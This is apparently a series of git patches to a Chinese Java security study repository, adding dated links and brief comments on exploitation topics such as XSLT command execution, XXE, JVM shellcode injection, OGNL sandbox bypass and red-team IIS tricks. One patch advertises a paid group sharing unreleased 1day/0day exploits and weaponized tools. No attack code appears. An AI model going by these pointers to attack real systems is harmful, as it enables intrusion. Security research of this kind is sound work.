[为什么你抓不到baidu的数据](https://mp.weixin.qq.com/s?__biz=MzUzNTY5MzU2MA==&mid=2247497288&idx=1&sn=1d634021528643c2f71e7cbf4dd7a0f7&chksm=fa8327dfcdf4aec9f798046e38ed5918d2df937c1ba7b7729c08e31b4c5c23cd13023c1c08f6&mpshare=1&scene=23&srcid=0110jBzdFMNuglOyMZh5teWu&sharer_sharetime=1673322185390&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **好牛皮啊** + 2023/01/10 [EL表达式支持Lambda](http://aducode.github.io/posts/2015-07-14/hook_tomcat_el_expression.html) **np** + 2023/01/10 [HashSet 对象去重复处理](https://blog.csdn.net/wangjie1616/article/details/78416551) **去除重复的对象也可以使用commons.lang这个包来判断** ++ 2023/01/11 [burp自定义解密数据插件](https://mp.weixin.qq.com/s/B-lBbVpJsPdCp1pjz2Rxdg) From 9593ba940a081aaeec14cea2c7063106a0f5e9e7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 11 Jan 2023 13:36:36 +0800 Subject: [PATCH 172/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index bf7acba..1d481af 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -246,4 +246,4 @@ + 2023/01/10 [为什么你抓不到baidu的数据](https://mp.weixin.qq.com/s?__biz=MzUzNTY5MzU2MA==&mid=2247497288&idx=1&sn=1d634021528643c2f71e7cbf4dd7a0f7&chksm=fa8327dfcdf4aec9f798046e38ed5918d2df937c1ba7b7729c08e31b4c5c23cd13023c1c08f6&mpshare=1&scene=23&srcid=0110jBzdFMNuglOyMZh5teWu&sharer_sharetime=1673322185390&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **好牛皮啊** + 2023/01/10 [EL表达式支持Lambda](http://aducode.github.io/posts/2015-07-14/hook_tomcat_el_expression.html) **np** + 2023/01/10 [HashSet 对象去重复处理](https://blog.csdn.net/wangjie1616/article/details/78416551) **去除重复的对象也可以使用commons.lang这个包来判断** -+ 2023/01/11 [burp自定义解密数据插件](https://mp.weixin.qq.com/s/B-lBbVpJsPdCp1pjz2Rxdg) ++ 2023/01/11 [burp自定义解密数据插件](https://mp.weixin.qq.com/s/B-lBbVpJsPdCp1pjz2Rxdg) [某app测试](https://mp.weixin.qq.com/s/_7wSWy0gIMMZmVeOtFgdsw) From 79776e236d7469e433b800ec4169ed1815ccb570 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 13 Jan 2023 20:45:41 +0800 Subject: [PATCH 173/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 1d481af..5cd40c4 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -247,3 +247,4 @@ + 2023/01/10 [EL表达式支持Lambda](http://aducode.github.io/posts/2015-07-14/hook_tomcat_el_expression.html) **np** + 2023/01/10 [HashSet 对象去重复处理](https://blog.csdn.net/wangjie1616/article/details/78416551) **去除重复的对象也可以使用commons.lang这个包来判断** + 2023/01/11 [burp自定义解密数据插件](https://mp.weixin.qq.com/s/B-lBbVpJsPdCp1pjz2Rxdg) [某app测试](https://mp.weixin.qq.com/s/_7wSWy0gIMMZmVeOtFgdsw) ++ 2023/01/13 [JVM Shellcode注入探索](https://mp.weixin.qq.com/s/5mK4twhCLtbiHdO0VZrX1A) **np** From d26fd31e43c6986fb6450f6e247b21cff20efcd1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 14 Jan 2023 13:35:29 +0800 Subject: [PATCH 174/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 5cd40c4..fa856a2 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -248,3 +248,4 @@ + 2023/01/10 [HashSet 对象去重复处理](https://blog.csdn.net/wangjie1616/article/details/78416551) **去除重复的对象也可以使用commons.lang这个包来判断** + 2023/01/11 [burp自定义解密数据插件](https://mp.weixin.qq.com/s/B-lBbVpJsPdCp1pjz2Rxdg) [某app测试](https://mp.weixin.qq.com/s/_7wSWy0gIMMZmVeOtFgdsw) + 2023/01/13 [JVM Shellcode注入探索](https://mp.weixin.qq.com/s/5mK4twhCLtbiHdO0VZrX1A) **np** ++ 2023/01/14 [第46篇：伊朗APT组织入侵美国政府内网全过程揭秘（上篇）](https://mp.weixin.qq.com/s/LarjLeYFqDQh7I0jpFZwHA) From 191e6674e4a3993acc1a01c8081712e70ee10d2a Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 16 Jan 2023 22:15:51 +0800 Subject: [PATCH 175/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index fa856a2..3606571 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -249,3 +249,4 @@ + 2023/01/11 [burp自定义解密数据插件](https://mp.weixin.qq.com/s/B-lBbVpJsPdCp1pjz2Rxdg) [某app测试](https://mp.weixin.qq.com/s/_7wSWy0gIMMZmVeOtFgdsw) + 2023/01/13 [JVM Shellcode注入探索](https://mp.weixin.qq.com/s/5mK4twhCLtbiHdO0VZrX1A) **np** + 2023/01/14 [第46篇：伊朗APT组织入侵美国政府内网全过程揭秘（上篇）](https://mp.weixin.qq.com/s/LarjLeYFqDQh7I0jpFZwHA) ++ 2023/01/16 [Hacking Redis for fun and CTF points,redis的利用](https://medium.com/@emil.lerner/hacking-redis-for-fun-and-ctf-points-3450c351bec1) **npnp** From 1be80eadba1f76a4eb84f4abf2b07e5696500e67 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 17 Jan 2023 20:44:55 +0800 Subject: [PATCH 176/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 3606571..c207098 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -250,3 +250,4 @@ + 2023/01/13 [JVM Shellcode注入探索](https://mp.weixin.qq.com/s/5mK4twhCLtbiHdO0VZrX1A) **np** + 2023/01/14 [第46篇：伊朗APT组织入侵美国政府内网全过程揭秘（上篇）](https://mp.weixin.qq.com/s/LarjLeYFqDQh7I0jpFZwHA) + 2023/01/16 [Hacking Redis for fun and CTF points,redis的利用](https://medium.com/@emil.lerner/hacking-redis-for-fun-and-ctf-points-3450c351bec1) **npnp** ++ 2023/01/17 [第47篇：ATT&CK矩阵攻击链分析-伊朗APT入侵美国政府内网(中篇)](https://mp.weixin.qq.com/s/vLBupn8etY1rvcgHmLNbIw) From 67c2289b0cb2eb372d11a8e329ed26d38e1db2a7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 17 Jan 2023 20:50:12 +0800 Subject: [PATCH 177/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index c207098..ff05aa6 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -251,3 +251,4 @@ + 2023/01/14 [第46篇：伊朗APT组织入侵美国政府内网全过程揭秘（上篇）](https://mp.weixin.qq.com/s/LarjLeYFqDQh7I0jpFZwHA) + 2023/01/16 [Hacking Redis for fun and CTF points,redis的利用](https://medium.com/@emil.lerner/hacking-redis-for-fun-and-ctf-points-3450c351bec1) **npnp** + 2023/01/17 [第47篇：ATT&CK矩阵攻击链分析-伊朗APT入侵美国政府内网(中篇)](https://mp.weixin.qq.com/s/vLBupn8etY1rvcgHmLNbIw) ++ 2023/01/17 [玩转CodeQLpy之用友GRP-U8漏洞挖掘](https://mp.weixin.qq.com/s/hYPdNN6skbikC3FFYRlbrQ) **可以尝试用vi跑一下** From cc0aabe127367c713599492f11724ee386d0a750 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 17 Jan 2023 21:24:24 +0800 Subject: [PATCH 178/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index ff05aa6..d65ef33 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -252,3 +252,4 @@ + 2023/01/16 [Hacking Redis for fun and CTF points,redis的利用](https://medium.com/@emil.lerner/hacking-redis-for-fun-and-ctf-points-3450c351bec1) **npnp** + 2023/01/17 [第47篇：ATT&CK矩阵攻击链分析-伊朗APT入侵美国政府内网(中篇)](https://mp.weixin.qq.com/s/vLBupn8etY1rvcgHmLNbIw) + 2023/01/17 [玩转CodeQLpy之用友GRP-U8漏洞挖掘](https://mp.weixin.qq.com/s/hYPdNN6skbikC3FFYRlbrQ) **可以尝试用vi跑一下** ++ 2023/01/17 [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s?__biz=Mzg4MzY5NjIyMg==&mid=2247483755&idx=1&sn=4e9ae8be2a0950ecfe99281689001e06&chksm=cf42365af835bf4ceb041fdbbb108cffbfbef253f41d9197760e11f774749eeb1e721f070fd8&mpshare=1&scene=23&srcid=0117LLaambwHZZNnlAY1Pqnm&sharer_sharetime=1673954336737&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **np 学习** From ac0e8d7063b6359c970cb4ac945aaaf57a662d0c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 17 Jan 2023 21:48:25 +0800 Subject: [PATCH 179/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index d65ef33..e6b61d1 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -253,3 +253,4 @@ + 2023/01/17 [第47篇：ATT&CK矩阵攻击链分析-伊朗APT入侵美国政府内网(中篇)](https://mp.weixin.qq.com/s/vLBupn8etY1rvcgHmLNbIw) + 2023/01/17 [玩转CodeQLpy之用友GRP-U8漏洞挖掘](https://mp.weixin.qq.com/s/hYPdNN6skbikC3FFYRlbrQ) **可以尝试用vi跑一下** + 2023/01/17 [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s?__biz=Mzg4MzY5NjIyMg==&mid=2247483755&idx=1&sn=4e9ae8be2a0950ecfe99281689001e06&chksm=cf42365af835bf4ceb041fdbbb108cffbfbef253f41d9197760e11f774749eeb1e721f070fd8&mpshare=1&scene=23&srcid=0117LLaambwHZZNnlAY1Pqnm&sharer_sharetime=1673954336737&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **np 学习** ++ 2023/1/17 [XSLT 调用 Java 的类方法](https://yanbin.blog/xslt-call-java-method/) [XSLT Injection](https://vulncat.fortify.com/zh-cn/detail?id=desc.dataflow.java.xslt_injection) **xslt 命令执行** From ec1cb285491fd139f59d213a37d4345441ac661e Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 18 Jan 2023 11:20:02 +0800 Subject: [PATCH 180/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index e6b61d1..9768ff0 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -253,4 +253,5 @@ + 2023/01/17 [第47篇：ATT&CK矩阵攻击链分析-伊朗APT入侵美国政府内网(中篇)](https://mp.weixin.qq.com/s/vLBupn8etY1rvcgHmLNbIw) + 2023/01/17 [玩转CodeQLpy之用友GRP-U8漏洞挖掘](https://mp.weixin.qq.com/s/hYPdNN6skbikC3FFYRlbrQ) **可以尝试用vi跑一下** + 2023/01/17 [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s?__biz=Mzg4MzY5NjIyMg==&mid=2247483755&idx=1&sn=4e9ae8be2a0950ecfe99281689001e06&chksm=cf42365af835bf4ceb041fdbbb108cffbfbef253f41d9197760e11f774749eeb1e721f070fd8&mpshare=1&scene=23&srcid=0117LLaambwHZZNnlAY1Pqnm&sharer_sharetime=1673954336737&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **np 学习** -+ 2023/1/17 [XSLT 调用 Java 的类方法](https://yanbin.blog/xslt-call-java-method/) [XSLT Injection](https://vulncat.fortify.com/zh-cn/detail?id=desc.dataflow.java.xslt_injection) **xslt 命令执行** ++ 2023/01/17 [XSLT 调用 Java 的类方法](https://yanbin.blog/xslt-call-java-method/) [XSLT Injection](https://vulncat.fortify.com/zh-cn/detail?id=desc.dataflow.java.xslt_injection) **xslt 命令执行** ++ 2023/01/18 [从“假漏洞”到“不忘初心”](https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&mid=2247483948&idx=1&sn=f4a1cbe8131ce0812714fda95147bc79&chksm=c050c85df727414bb25fb90e52edf81bc1d2ae6222cc29d54d4e810537e0c83bf579958a3e4c&mpshare=1&scene=23&srcid=0117ma1Ywz1TACmdsaaIMMTP&sharer_sharetime=1674008997482&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From 1fc5c76155b9aeb97473377980dc3a810f1a34c4 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 19 Jan 2023 11:49:29 +0800 Subject: [PATCH 181/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 9768ff0..4d61315 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -255,3 +255,4 @@ + 2023/01/17 [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s?__biz=Mzg4MzY5NjIyMg==&mid=2247483755&idx=1&sn=4e9ae8be2a0950ecfe99281689001e06&chksm=cf42365af835bf4ceb041fdbbb108cffbfbef253f41d9197760e11f774749eeb1e721f070fd8&mpshare=1&scene=23&srcid=0117LLaambwHZZNnlAY1Pqnm&sharer_sharetime=1673954336737&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **np 学习** + 2023/01/17 [XSLT 调用 Java 的类方法](https://yanbin.blog/xslt-call-java-method/) [XSLT Injection](https://vulncat.fortify.com/zh-cn/detail?id=desc.dataflow.java.xslt_injection) **xslt 命令执行** + 2023/01/18 [从“假漏洞”到“不忘初心”](https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&mid=2247483948&idx=1&sn=f4a1cbe8131ce0812714fda95147bc79&chksm=c050c85df727414bb25fb90e52edf81bc1d2ae6222cc29d54d4e810537e0c83bf579958a3e4c&mpshare=1&scene=23&srcid=0117ma1Ywz1TACmdsaaIMMTP&sharer_sharetime=1674008997482&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2023/01/19 [分享几个 IDEA 下 git 使用小技巧](https://www.bilibili.com/video/BV1yW4y1N7mR/?buvid=Y8497289E888F86F46BC91648B98C847C1AA&is_story_h5=false&mid=Rbxe%2Bk7llEVOThj%2FWkKmvQ%3D%3D&p=1&plat_id=116&share_from=ugc&share_medium=iphone&share_plat=ios&share_session_id=C5D45C2B-571E-4A34-8425-2082CA8630B3&share_source=QQ&share_tag=s_i×tamp=1674063016&unique_k=FWgBBSP&up_id=186408046) **确实有用** From 94b68f51ef75f2973710e5f90577f552895ee95c Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 19 Jan 2023 21:30:16 +0800 Subject: [PATCH 182/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 4d61315..db647b6 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -256,3 +256,4 @@ + 2023/01/17 [XSLT 调用 Java 的类方法](https://yanbin.blog/xslt-call-java-method/) [XSLT Injection](https://vulncat.fortify.com/zh-cn/detail?id=desc.dataflow.java.xslt_injection) **xslt 命令执行** + 2023/01/18 [从“假漏洞”到“不忘初心”](https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&mid=2247483948&idx=1&sn=f4a1cbe8131ce0812714fda95147bc79&chksm=c050c85df727414bb25fb90e52edf81bc1d2ae6222cc29d54d4e810537e0c83bf579958a3e4c&mpshare=1&scene=23&srcid=0117ma1Ywz1TACmdsaaIMMTP&sharer_sharetime=1674008997482&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/01/19 [分享几个 IDEA 下 git 使用小技巧](https://www.bilibili.com/video/BV1yW4y1N7mR/?buvid=Y8497289E888F86F46BC91648B98C847C1AA&is_story_h5=false&mid=Rbxe%2Bk7llEVOThj%2FWkKmvQ%3D%3D&p=1&plat_id=116&share_from=ugc&share_medium=iphone&share_plat=ios&share_session_id=C5D45C2B-571E-4A34-8425-2082CA8630B3&share_source=QQ&share_tag=s_i×tamp=1674063016&unique_k=FWgBBSP&up_id=186408046) **确实有用** ++ 2023/01/19 [CVE-2022-35741 Apache CloudStack SAML XXE注入](https://xz.aliyun.com/t/11600) **Apache CloudStack 云计算的东西国内没有看到过** From b3272af2213f62639a2bca057439f7f19d2969ee Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 19 Jan 2023 23:23:54 +0800 Subject: [PATCH 183/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index db647b6..c0dda1a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -257,3 +257,4 @@ + 2023/01/18 [从“假漏洞”到“不忘初心”](https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&mid=2247483948&idx=1&sn=f4a1cbe8131ce0812714fda95147bc79&chksm=c050c85df727414bb25fb90e52edf81bc1d2ae6222cc29d54d4e810537e0c83bf579958a3e4c&mpshare=1&scene=23&srcid=0117ma1Ywz1TACmdsaaIMMTP&sharer_sharetime=1674008997482&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/01/19 [分享几个 IDEA 下 git 使用小技巧](https://www.bilibili.com/video/BV1yW4y1N7mR/?buvid=Y8497289E888F86F46BC91648B98C847C1AA&is_story_h5=false&mid=Rbxe%2Bk7llEVOThj%2FWkKmvQ%3D%3D&p=1&plat_id=116&share_from=ugc&share_medium=iphone&share_plat=ios&share_session_id=C5D45C2B-571E-4A34-8425-2082CA8630B3&share_source=QQ&share_tag=s_i×tamp=1674063016&unique_k=FWgBBSP&up_id=186408046) **确实有用** + 2023/01/19 [CVE-2022-35741 Apache CloudStack SAML XXE注入](https://xz.aliyun.com/t/11600) **Apache CloudStack 云计算的东西国内没有看到过** ++ 2023/01/19 [Xalan包在XXE问题中的坑](https://www.freebuf.com/vuls/238005.html) **之前就遇到了如果有xalan依赖的时候会导致xxe防御失去效果** From d3a20de2adfd2da8f2b9b9bec716fd7d01134ab2 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 23 Jan 2023 19:52:29 +0800 Subject: [PATCH 184/254] Update README.md --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index e2e39f6..907e11b 100644 --- a/README.md +++ b/README.md @@ -26,6 +26,12 @@ + 2022/10/07 [添加JDK里面的trick](Jdk) 💛 💙 💜 ❤️ 💚 +## 知识星球 +该知识星球主要是分享java相关的安全知识,绝对精华.里面包含未开放的1day和0day等分享或武器化工具一发入魂 + +![image](https://user-images.githubusercontent.com/63966847/214033050-87bdd0f8-4982-4aac-b79d-a5b6d0f107b9.png) + + ## 代学习 From 44384ae543ee83a3e6304345b972046f895d49c8 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 29 Jan 2023 15:12:19 +0800 Subject: [PATCH 185/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index c0dda1a..9f83a8d 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -258,3 +258,4 @@ + 2023/01/19 [分享几个 IDEA 下 git 使用小技巧](https://www.bilibili.com/video/BV1yW4y1N7mR/?buvid=Y8497289E888F86F46BC91648B98C847C1AA&is_story_h5=false&mid=Rbxe%2Bk7llEVOThj%2FWkKmvQ%3D%3D&p=1&plat_id=116&share_from=ugc&share_medium=iphone&share_plat=ios&share_session_id=C5D45C2B-571E-4A34-8425-2082CA8630B3&share_source=QQ&share_tag=s_i×tamp=1674063016&unique_k=FWgBBSP&up_id=186408046) **确实有用** + 2023/01/19 [CVE-2022-35741 Apache CloudStack SAML XXE注入](https://xz.aliyun.com/t/11600) **Apache CloudStack 云计算的东西国内没有看到过** + 2023/01/19 [Xalan包在XXE问题中的坑](https://www.freebuf.com/vuls/238005.html) **之前就遇到了如果有xalan依赖的时候会导致xxe防御失去效果** ++ 2023/01/29 [红队：IIS短文件名猜解在拿权限中的巧用](https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247491093&idx=1&sn=9ebedfadd4b86cbb319c085fdfbdaf1d&chksm=cea8f555f9df7c4370ab5efe4248c3ca144381556d6299c2e9ab1d83229a38ad82b208f70cb6&mpshare=1&scene=23&srcid=0128dKktHmtVydWzC2jEaQ44&sharer_sharetime=1674914927543&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **了解** From 4b605c634c1a23f2164c158a98e9f19dda10e911 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 29 Jan 2023 21:18:09 +0800 Subject: [PATCH 186/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 9f83a8d..2f83594 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -259,3 +259,4 @@ + 2023/01/19 [CVE-2022-35741 Apache CloudStack SAML XXE注入](https://xz.aliyun.com/t/11600) **Apache CloudStack 云计算的东西国内没有看到过** + 2023/01/19 [Xalan包在XXE问题中的坑](https://www.freebuf.com/vuls/238005.html) **之前就遇到了如果有xalan依赖的时候会导致xxe防御失去效果** + 2023/01/29 [红队：IIS短文件名猜解在拿权限中的巧用](https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247491093&idx=1&sn=9ebedfadd4b86cbb319c085fdfbdaf1d&chksm=cea8f555f9df7c4370ab5efe4248c3ca144381556d6299c2e9ab1d83229a38ad82b208f70cb6&mpshare=1&scene=23&srcid=0128dKktHmtVydWzC2jEaQ44&sharer_sharetime=1674914927543&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **了解** ++ 2023/01/29 [PHP Development Server <= 7.4.21 - Remote Source Disclosure](https://blog.projectdiscovery.io/php-http-server-source-disclosure/) **np** From 0437e1595880648d415a00c62d4d5ca3080316c7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 29 Jan 2023 22:49:25 +0800 Subject: [PATCH 187/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 2f83594..458b7e4 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -260,3 +260,4 @@ + 2023/01/19 [Xalan包在XXE问题中的坑](https://www.freebuf.com/vuls/238005.html) **之前就遇到了如果有xalan依赖的时候会导致xxe防御失去效果** + 2023/01/29 [红队：IIS短文件名猜解在拿权限中的巧用](https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247491093&idx=1&sn=9ebedfadd4b86cbb319c085fdfbdaf1d&chksm=cea8f555f9df7c4370ab5efe4248c3ca144381556d6299c2e9ab1d83229a38ad82b208f70cb6&mpshare=1&scene=23&srcid=0128dKktHmtVydWzC2jEaQ44&sharer_sharetime=1674914927543&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **了解** + 2023/01/29 [PHP Development Server <= 7.4.21 - Remote Source Disclosure](https://blog.projectdiscovery.io/php-http-server-source-disclosure/) **np** ++ 2023/01/29 [Java Zip Slip漏洞案例分析及实战挖掘](https://xz.aliyun.com/t/12081) **主要是fix的代码可能有问题 一部分开发人员判断的是startwith** From d4f3e447859646d735c8f861ea6ab9da39f693d3 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 30 Jan 2023 15:23:12 +0800 Subject: [PATCH 188/254] Update Readme.md --- shell/OGNL/Readme.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/shell/OGNL/Readme.md b/shell/OGNL/Readme.md index b09dfcf..9b83e7d 100644 --- a/shell/OGNL/Readme.md +++ b/shell/OGNL/Readme.md @@ -41,6 +41,9 @@ String bypass_sm_exp = "var str = Java.type('java.lang.String[]').class;" + >参考 >https://www.sec-in.com/article/753 >https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/ +## Bypass + +https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/ ## mybatis 存在${}的ognl 参考2022的d3ctf ezsql From 9ca0f18f5e4982381bb8801c282bb8bf83182282 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 30 Jan 2023 15:54:59 +0800 Subject: [PATCH 189/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 458b7e4..6f2dab2 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -261,3 +261,4 @@ + 2023/01/29 [红队：IIS短文件名猜解在拿权限中的巧用](https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247491093&idx=1&sn=9ebedfadd4b86cbb319c085fdfbdaf1d&chksm=cea8f555f9df7c4370ab5efe4248c3ca144381556d6299c2e9ab1d83229a38ad82b208f70cb6&mpshare=1&scene=23&srcid=0128dKktHmtVydWzC2jEaQ44&sharer_sharetime=1674914927543&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **了解** + 2023/01/29 [PHP Development Server <= 7.4.21 - Remote Source Disclosure](https://blog.projectdiscovery.io/php-http-server-source-disclosure/) **np** + 2023/01/29 [Java Zip Slip漏洞案例分析及实战挖掘](https://xz.aliyun.com/t/12081) **主要是fix的代码可能有问题 一部分开发人员判断的是startwith** ++ 2023/01/30 [Docmosis Tornado的漏洞](https://frycos.github.io/vulns4free/2023/01/24/0days-united-nations.html) From 0de7647bb752430b676cb3463695a02e22a25709 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 1 Feb 2023 12:04:32 +0800 Subject: [PATCH 190/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 6f2dab2..97cb930 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -262,3 +262,4 @@ + 2023/01/29 [PHP Development Server <= 7.4.21 - Remote Source Disclosure](https://blog.projectdiscovery.io/php-http-server-source-disclosure/) **np** + 2023/01/29 [Java Zip 